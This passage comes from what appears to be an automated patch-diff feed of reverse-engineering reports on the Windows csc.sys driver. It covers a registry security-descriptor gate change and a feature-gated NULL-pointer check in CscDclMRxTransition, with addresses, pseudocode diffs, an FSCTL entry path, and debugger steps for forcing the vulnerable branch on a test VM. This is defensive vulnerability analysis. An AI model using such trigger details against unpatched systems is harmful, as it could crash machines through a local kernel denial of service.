&lt;li&gt;&lt;code&gt;0x1C00478AA&lt;/code&gt; — &lt;code&gt;je 0x1C004797D&lt;/code&gt; — branch to NO-SD path.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C00479A2&lt;/code&gt; — &lt;code&gt;movdqu [rbp-0x10], xmm0&lt;/code&gt; — zeroes OA.SecurityDescriptor on the NULL-SD path.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C00479C2&lt;/code&gt; — &lt;code&gt;call qword [rel 0x1C0041338]&lt;/code&gt; — &lt;code&gt;ZwCreateKey&lt;/code&gt; with NULL SD.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C00478B9&lt;/code&gt; — &lt;code&gt;call 0x1C00454B0&lt;/code&gt; — SD builder (safe path unpatched / always-on patched).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C0047902&lt;/code&gt; — &lt;code&gt;mov [rbp-0x10], rdi&lt;/code&gt; — sets OA.SecurityDescriptor on safe path.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C00454D5&lt;/code&gt; — &lt;code&gt;mov rbp, [rdx+0x108]&lt;/code&gt; — reads &lt;code&gt;SeExports+0x108&lt;/code&gt; (&lt;code&gt;SeLocalSystemSid&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;IAT slots referenced:
- &lt;code&gt;0x1C00411E0&lt;/code&gt; = &lt;code&gt;ZwOpenKey&lt;/code&gt;
- &lt;code&gt;0x1C0041338&lt;/code&gt; = &lt;code&gt;ZwCreateKey&lt;/code&gt;
- &lt;code&gt;0x1C00410C0&lt;/code&gt; = &lt;code&gt;ExFreePoolWithTag&lt;/code&gt;
- &lt;code&gt;0x1C0041370&lt;/code&gt; = &lt;code&gt;ExAllocatePool2&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Trigger setup from user mode&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Load the unpatched &lt;code&gt;csc.sys&lt;/code&gt; on a fresh test VM.&lt;/li&gt;
&lt;li&gt;Pre-clean the target key (delete if present) so &lt;code&gt;ZwCreateKey&lt;/code&gt; will create it:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HKLM\System\CurrentControlSet\Services\CSC\Parameters&lt;/code&gt; or a known subkey written by &lt;code&gt;CscRebootRenamepAddToKey (sub_1C006F42C)&lt;/code&gt; (look for the &lt;code&gt;LastIndexValue&lt;/code&gt; value).&lt;/li&gt;
&lt;li&gt;Force a parameter-initialization path:&lt;/li&gt;
&lt;li&gt;Re-enable Offline Files via &lt;code&gt;vssadmin&lt;/code&gt; / PowerShell &lt;code&gt;Enable-WindowsOptionalFeature&lt;/code&gt;, or&lt;/li&gt;
&lt;li&gt;Trigger Offline Files cache initialization (boot with cache enabled), or&lt;/li&gt;
&lt;li&gt;Invoke a CSC-related WMI / service-control path that forces parameter re-read.&lt;/li&gt;
&lt;li&gt;With the debugger attached, the breakpoint at &lt;code&gt;+0x78A3&lt;/code&gt; should fire on the create path. Force the NULL-SD path if the flag is already set:&lt;/li&gt;
&lt;li&gt;At the breakpoint: &lt;code&gt;r eax=0; r eip=csc_unpatched+0x478AA;&lt;/code&gt; then &lt;code&gt;g&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Or patch the flag global directly: &lt;code&gt;ed csc_unpatched+0x3A080 0&lt;/code&gt; to force &lt;code&gt;Feature_2858196282__private_IsEnabledDeviceUsage (sub_1C00088B4)&lt;/code&gt; to return false on subsequent calls.&lt;/li&gt;
&lt;li&gt;After &lt;code&gt;ZwCreateKey&lt;/code&gt; returns, inspect the resulting key from a non-admin token:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;accesschk.exe -accepteula -k HKLM\System\CurrentControlSet\Services\CSC\Parameters&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Or from kernel debugger: &lt;code&gt;!reg openkeys&lt;/code&gt; / &lt;code&gt;!reg keyinfo &amp;lt;hive&amp;gt; &amp;lt;path&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Expected observation of the behavioral difference&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;At &lt;code&gt;+0x479C2&lt;/code&gt; (unpatched, gate off), &lt;code&gt;[r8+0x28]&lt;/code&gt; (OA.SecurityDescriptor) is &lt;code&gt;NULL&lt;/code&gt;, so &lt;code&gt;ZwCreateKey&lt;/code&gt; creates the key with a default (SYSTEM-context) owner and a parent-inherited DACL.&lt;/li&gt;
&lt;li&gt;On the patched binary, &lt;code&gt;[r8+0x28]&lt;/code&gt; is a non-NULL pointer to an &lt;code&gt;ExAllocatePool2&lt;/code&gt;'d &lt;strong&gt;absolute&lt;/strong&gt; SD; &lt;code&gt;!sd &amp;lt;ptr&amp;gt;&lt;/code&gt; shows &lt;code&gt;S-1-5-18&lt;/code&gt; (LocalSystem) as owner, with &lt;strong&gt;no DACL present&lt;/strong&gt; in the descriptor.&lt;/li&gt;
&lt;li&gt;The created key's DACL is the parent-inherited one in both builds. On a default install &lt;code&gt;HKLM\System\CurrentControlSet\Services&lt;/code&gt; does not grant write access to non-admin principals, so the key is not standard-user-writable on either binary. The single observable delta is the explicit owner SID on the patched build.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Struct / offset notes&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;OBJECT_ATTRIBUTES&lt;/code&gt; layout (size 0x30):
- &lt;code&gt;+0x00&lt;/code&gt; Length (0x30)
- &lt;code&gt;+0x08&lt;/code&gt; RootDirectory
- &lt;code&gt;+0x10&lt;/code&gt; ObjectName (PUNICODE_STRING)
- &lt;code&gt;+0x18&lt;/code&gt; Attributes (0x240 = &lt;code&gt;OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE&lt;/code&gt;)
- &lt;code&gt;+0x20&lt;/code&gt; SecurityDescriptor  ← &lt;strong&gt;this is what gets NULLed&lt;/strong&gt;
- &lt;code&gt;+0x28&lt;/code&gt; SecurityQualityOfService&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;CscRebootRenamepOpenKey (sub_1C004785C)&lt;/code&gt;, the OA is built on &lt;code&gt;[rbp-0x30]&lt;/code&gt;, so &lt;code&gt;SecurityDescriptor&lt;/code&gt; lives at &lt;code&gt;[rbp-0x10]&lt;/code&gt; (matches the &lt;code&gt;movdqu [rbp-0x10], xmm0&lt;/code&gt; zeroing instruction).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;SeExports+0x108&lt;/code&gt; = &lt;code&gt;SeLocalSystemSid&lt;/code&gt; (SID = &lt;code&gt;S-1-5-18&lt;/code&gt;).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;Security-relevant&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CscRebootRenamepOpenKey (sub_1C004785C)&lt;/code&gt;&lt;/strong&gt; — similarity 0.7011 — &lt;em&gt;behavioral, low-severity hardening&lt;/em&gt;. Removed the &lt;code&gt;Feature_2858196282__private_IsEnabledDeviceUsage (sub_1C00088B4)&lt;/code&gt; feature-staging gate; the owner-only SD is now always built on key create. This is the only security-relevant change, and its impact is limited to making the created key's owner explicit (the SD carries no DACL, so access control is unchanged).&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Not security-relevant (WIL feature-staging / feature-usage refactor)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;CscRebootRenamepEnumRegistry (sub_1C0047F68)&lt;/code&gt;&lt;/strong&gt; — similarity 0.9912 — &lt;em&gt;behavioral (minor)&lt;/em&gt;. Removed &lt;code&gt;Feature_2858196282__private_IsEnabledDeviceUsage (sub_1C00088B4)&lt;/code&gt; call before a &lt;code&gt;ZwOpenKey&lt;/code&gt; read-only enumeration. Key is opened (not created) so no SD is required; change aligns with the surrounding telemetry rework.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;Feature_4082332987__private_IsEnabledFallback (sub_1C0007AA8)&lt;/code&gt;&lt;/strong&gt; — similarity 0.6736 — &lt;em&gt;cosmetic&lt;/em&gt;. Telemetry wrapper switched from 3-arg &lt;code&gt;wil_details_IsEnabledFallback (sub_1C0008248)(arg1, arg2, &amp;amp;data_1C00378F8)&lt;/code&gt; to 2-arg &lt;code&gt;wil_details_IsEnabledFallback (sub_1C0008230)(arg1, arg2)&lt;/code&gt;; the feature-context pointer is now embedded in the callee.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;wil_details_IsEnabledFallback (sub_1C0008248)&lt;/code&gt;&lt;/strong&gt; — similarity 0.9582 — &lt;em&gt;cosmetic&lt;/em&gt;. Feature-usage dispatcher now reads hardcoded globals (&lt;code&gt;data_1C00378C0&lt;/code&gt; / &lt;code&gt;Feature_2858196282__private_featureState (data_1C003A080)&lt;/code&gt;) instead of dereferencing caller-supplied &lt;code&gt;arg3&lt;/code&gt;. Several call-target addresses shifted due to the surrounding refactor.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;wil_details_FeatureStateCache_TryEnableDeviceUsageFastPath (sub_1C0008070)&lt;/code&gt;&lt;/strong&gt; — similarity 0.8176 — &lt;em&gt;cosmetic&lt;/em&gt;. Feature-state CAS helper now operates on global &lt;code&gt;Feature_2858196282__private_featureState (data_1C003A080)&lt;/code&gt; instead of a caller-supplied pointer. Atomic &lt;code&gt;lock cmpxchg&lt;/code&gt; logic unchanged.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;wil_details_FeatureReporting_ReportUsageToServiceDirect (sub_1C0007E88)&lt;/code&gt;&lt;/strong&gt; — similarity 0.9765 — &lt;em&gt;cosmetic&lt;/em&gt;. &lt;code&gt;RtlNotifyFeatureUsage&lt;/code&gt; caller now uses hardcoded values (feature ID &lt;code&gt;0x3818AA2&lt;/code&gt;, &lt;code&gt;0x1C002FA60&lt;/code&gt;, &lt;code&gt;&amp;amp;data_1C003A0A0&lt;/code&gt;) instead of dereferencing caller context.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;wil_details_FeatureReporting_ReportUsageToService (sub_1C0007E00)&lt;/code&gt;&lt;/strong&gt; — similarity 0.9774 — &lt;em&gt;cosmetic&lt;/em&gt;. Feature-notification wrapper now passes hardcoded globals instead of caller context pointer.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All six non-security changes are part of a coordinated refactor of the feature-usage/telemetry infrastructure (&lt;code&gt;RtlNotifyFeatureUsage&lt;/code&gt;) that fed the flag used by the removed feature-staging gate. They are not independently security-relevant.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;None — no functions were added or removed between the two binaries (&lt;code&gt;unmatched_unpatched: 0&lt;/code&gt;, &lt;code&gt;unmatched_patched: 0&lt;/code&gt;). The patch was strictly an in-place modification of existing functions. There is no new sanitizer or removed mitigation to flag.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High on the mechanics; the severity is deliberately conservative. The diff is small (7 functions), the removed instruction (&lt;code&gt;call Feature_2858196282__private_IsEnabledDeviceUsage (sub_1C00088B4)&lt;/code&gt; + &lt;code&gt;je 0x1C004797D&lt;/code&gt;) and the always-on SD path in the patched build are unambiguous and fully traceable. The corrected key fact is that the SD builder (&lt;code&gt;CscRebootRenamepCreateSecurityDescriptor (sub_1C00454B0)&lt;/code&gt;) sets only the owner SID and never a DACL, so the patch changes the created key's owner but not its access-control (DACL) contents.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Why severity is Low rather than High:&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;The descriptor attached on the patched build carries no DACL; the key's DACL is parent-inherited in both builds, so no principal gains or loses access as a result of the patch.&lt;/li&gt;
&lt;li&gt;The keys are created in the SYSTEM/kernel context, so even on the unpatched NULL-SD path the default owner is admin-equivalent (SYSTEM/Administrators).&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;On a default install, &lt;code&gt;HKLM\System\CurrentControlSet\Services&lt;/code&gt; does not grant write access to non-admin principals, so no standard-user tampering vector exists on either binary.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Assumptions / limits of static analysis:&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;The default runtime state of &lt;code&gt;Feature_2858196282__private_featureState (data_1C003A080)&lt;/code&gt; is not determinable from the static image; the patch guarantees the SD is applied on create regardless of that state, which is the point of the change.&lt;/li&gt;
&lt;li&gt;The callers &lt;code&gt;CscRebootRenameAddEntry (sub_1C006F0F4)&lt;/code&gt; and &lt;code&gt;CscRebootRenamepAddToKey (sub_1C006F42C)&lt;/code&gt; invoke the helper with the create flag set (&lt;code&gt;r8b = 1&lt;/code&gt; at &lt;code&gt;0x1C006F19C&lt;/code&gt; and &lt;code&gt;0x1C006F538&lt;/code&gt;) for paths under &lt;code&gt;\Registry\Machine\System\CurrentControlSet\Services\CSC\Parameters&lt;/code&gt; (and its &lt;code&gt;RebootRename&lt;/code&gt; subkey). The exact user-mode trigger for these Offline Files operations is not established from the binaries alone.&lt;/li&gt;
&lt;li&gt;The parent-container DACL is assumed to follow default Windows &lt;code&gt;...\Services&lt;/code&gt; semantics (no non-admin write). On a system where that container had been deliberately loosened, the inherited DACL — unchanged by this patch — would be the relevant factor, not the owner SID this change sets.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>csc.sys — CscDclMRxTransition LVIEW null check made unconditional, closing a possible NULL-pointer dereference (CWE-476) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/csc_83f67654-csc-report-20260628-222103.html" rel="alternate"/><published>2026-06-28T00:00:00-07:00</published><updated>2026-06-28T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-28:/drift-corpus/item/csc_83f67654-csc-report-20260628-222103.html</id><summary type="html">&lt;p&gt;KB5078885&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;csc_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;csc_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0.9877&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;1415&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;1414&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (either direction)&lt;/td&gt;
&lt;td&gt;0 / 0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; A single, surgical patch makes an existing &lt;code&gt;rdi&lt;/code&gt; (LVIEW) NULL check unconditional in &lt;code&gt;CscDclMRxTransition&lt;/code&gt;, closing a possible kernel NULL-pointer dereference (CWE-476). In the unpatched build the NULL check at both guard points is gated behind a WIL velocity/servicing feature (&lt;code&gt;Feature_4082332987&lt;/code&gt;); when that check evaluates to 0, control branches past the &lt;code&gt;test rdi, rdi&lt;/code&gt; NULL check into the block that dereferences &lt;code&gt;rdi&lt;/code&gt;. The patch removes the feature gate and performs the NULL check unconditionally. Practical impact is bounded: at most a local kernel denial of service (bug check), and only if a NULL LVIEW pointer can reach this path with the feature disabled — which is not demonstrated here, and the LVIEW pointer is internal driver state rather than attacker-supplied input.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding #1 — NULL Pointer Dereference in &lt;code&gt;CscDclMRxTransition&lt;/code&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attribute&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Low&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Class&lt;/td&gt;
&lt;td&gt;NULL pointer dereference (CWE-476) / potential local kernel DoS; velocity-feature-gated NULL check made unconditional&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected function&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CscDclMRxTransition&lt;/code&gt; (&lt;code&gt;sub_1C005FF5C&lt;/code&gt; unpatched, &lt;code&gt;sub_1c005ddcc&lt;/code&gt; patched)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Primitive&lt;/td&gt;
&lt;td&gt;Kernel NULL deref → bug check (local DoS) if reachable; no memory-corruption or code-execution primitive&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt; The function reads &lt;code&gt;rdi&lt;/code&gt; (a CSC LVIEW / logical-view pointer) from &lt;code&gt;*(*(arg1+0x38)+0x70)&lt;/code&gt; at &lt;code&gt;0x1C005FFA1&lt;/code&gt;. Given the callees (&lt;code&gt;CscAcquireLViewLock&lt;/code&gt;, &lt;code&gt;CscLViewIsRootGhosted&lt;/code&gt;, &lt;code&gt;CscReleaseLViewLock&lt;/code&gt;, &lt;code&gt;CscFlushLViewWasPreviouslyOffline&lt;/code&gt;) this is a logical-view object. The pre-patch code guards the main block with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_4082332987__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// block that dereferences rdi&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;sub_1c0007a70&lt;/code&gt; is &lt;code&gt;Feature_4082332987__private_IsEnabledDeviceUsage&lt;/code&gt;, a WIL velocity/servicing feature check (the mechanism Windows uses to stage a change so it can be rolled back server-side). It reads the global &lt;code&gt;Feature_4082332987__private_featureState&lt;/code&gt;, tests bit &lt;code&gt;0x10&lt;/code&gt;, and if the bit is clear falls back to &lt;code&gt;Feature_4082332987__private_IsEnabledFallback&lt;/code&gt; → &lt;code&gt;wil_details_IsEnabledFallback&lt;/code&gt;, which can return &lt;code&gt;0&lt;/code&gt;. In the assembly the gate is &lt;code&gt;call feature; test eax,eax; jz block_entry&lt;/code&gt;: when the feature check returns &lt;code&gt;0&lt;/code&gt; (the feature-disabled path) the &lt;code&gt;jz&lt;/code&gt; jumps &lt;strong&gt;past&lt;/strong&gt; the &lt;code&gt;test rdi, rdi&lt;/code&gt; NULL check and enters the block, so &lt;code&gt;rdi&lt;/code&gt; is dereferenced without the NULL check through:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;CscAcquireLViewLock(rdi)&lt;/code&gt; (&lt;code&gt;sub_1c000c340&lt;/code&gt;) at &lt;code&gt;0x1C005FFF3&lt;/code&gt; — first crash site&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CscLViewIsRootGhosted(rdi)&lt;/code&gt; (&lt;code&gt;sub_1c00654b8&lt;/code&gt;), &lt;code&gt;CscReleaseLViewLock(rdi)&lt;/code&gt; (&lt;code&gt;sub_1c000c49c&lt;/code&gt;), and related LVIEW calls off a NULL base.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The identical pattern repeats at the &lt;strong&gt;function exit&lt;/strong&gt; gate (&lt;code&gt;0x1C0060538&lt;/code&gt;), where &lt;code&gt;CscFlushLViewWasPreviouslyOffline(rdi)&lt;/code&gt; (&lt;code&gt;sub_1c00474b0&lt;/code&gt;) is called at &lt;code&gt;0x1C0060549&lt;/code&gt; with the same potentially-NULL &lt;code&gt;rdi&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The fix&lt;/strong&gt; removes both feature-check gates and performs an unconditional &lt;code&gt;test rdi, rdi&lt;/code&gt; NULL check before the dereferences. The corrected guard is effectively:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// rdi MUST be non-NULL&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Entry point and data flow:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;An FSCTL / &lt;code&gt;DeviceIoControl&lt;/code&gt; request against the CSC device reaches the CSC FSCTL handler.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CscFsCtl&lt;/code&gt; (&lt;code&gt;sub_1c004c760&lt;/code&gt;) receives the &lt;code&gt;RX_CONTEXT&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CscDclInternalFsControl&lt;/code&gt; (&lt;code&gt;sub_1c004c938&lt;/code&gt;) routes the request and calls &lt;code&gt;CscDclMRxTransition&lt;/code&gt; at &lt;code&gt;0x1C004CDA7&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CscDclMRxTransition&lt;/code&gt; (&lt;code&gt;sub_1c005ff5c&lt;/code&gt;) dereferences &lt;code&gt;rdi = *(*(arg1+0x38)+0x70)&lt;/code&gt; when the feature-gated branch skips the NULL check.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Reachability caveat: &lt;code&gt;rdi&lt;/code&gt; is loaded from internal redirector/LVIEW state reached through &lt;code&gt;RX_CONTEXT&lt;/code&gt;, not from a user-supplied buffer. The rest of the function dereferences &lt;code&gt;rdi&lt;/code&gt; in many places without a NULL check, which indicates &lt;code&gt;rdi&lt;/code&gt; is normally non-NULL; the two guarded points are defensive. Whether a low-privileged caller can actually drive &lt;code&gt;*(*(arg1+0x38)+0x70)&lt;/code&gt; to NULL on this path, with the feature disabled, is not established here.&lt;/p&gt;
&lt;p&gt;(The MINIRDR dispatch table is populated by &lt;code&gt;CscInitializeDispatchTable&lt;/code&gt; (&lt;code&gt;sub_1c008f338&lt;/code&gt;); &lt;code&gt;DriverEntry&lt;/code&gt; is a separate function at &lt;code&gt;0x1C008F950&lt;/code&gt;.)&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED CscDclMRxTransition (sub_1c005ff5c) ===&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;CscDclMRxTransition&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RX_CONTEXT&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// arg1=rcx, arg2=edx/r8d&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;field_0x38&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// mov rax, [rcx+0x38]&lt;/span&gt;
